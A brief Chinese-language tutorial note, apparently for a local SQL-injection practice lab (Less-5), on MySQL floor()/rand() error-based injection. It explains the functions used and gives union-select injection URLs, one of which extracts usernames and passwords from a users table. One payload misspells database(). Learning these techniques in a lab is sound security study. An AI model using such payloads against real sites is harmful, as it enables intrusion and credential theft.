【SQL注入-floor报错注入】

涉及到的函数：

rand()函数：随机返回0-1之间的小数

floor()函数：小数向下取整数

ceiling()函数：小数向上取整数

concat_ws函数：将括号内数据用第一个字段连接起来

select concat_ws('-',2,3):输出2-3

select rand（）from users：users表中有多少行就返回多少个

select count(*),concat_ws('-',(select database()),floor(rand()*2)) as ben from users group by ben;

http://127.0.0.1/sql/Less-5/?id=1' union select  1,count(*),concat_ws('-',(select databse()),floor(rand(0)*2)) as x from information_schema.tables group by x--+

 http://127.0.0.1/sql/Less-5/?id=1' union select  1,count(*),concat_ws('-',(select concat('_',username,':',password) from users limit 0,1),floor(rand(0)*2)) as x from information_schema.tables group by x--+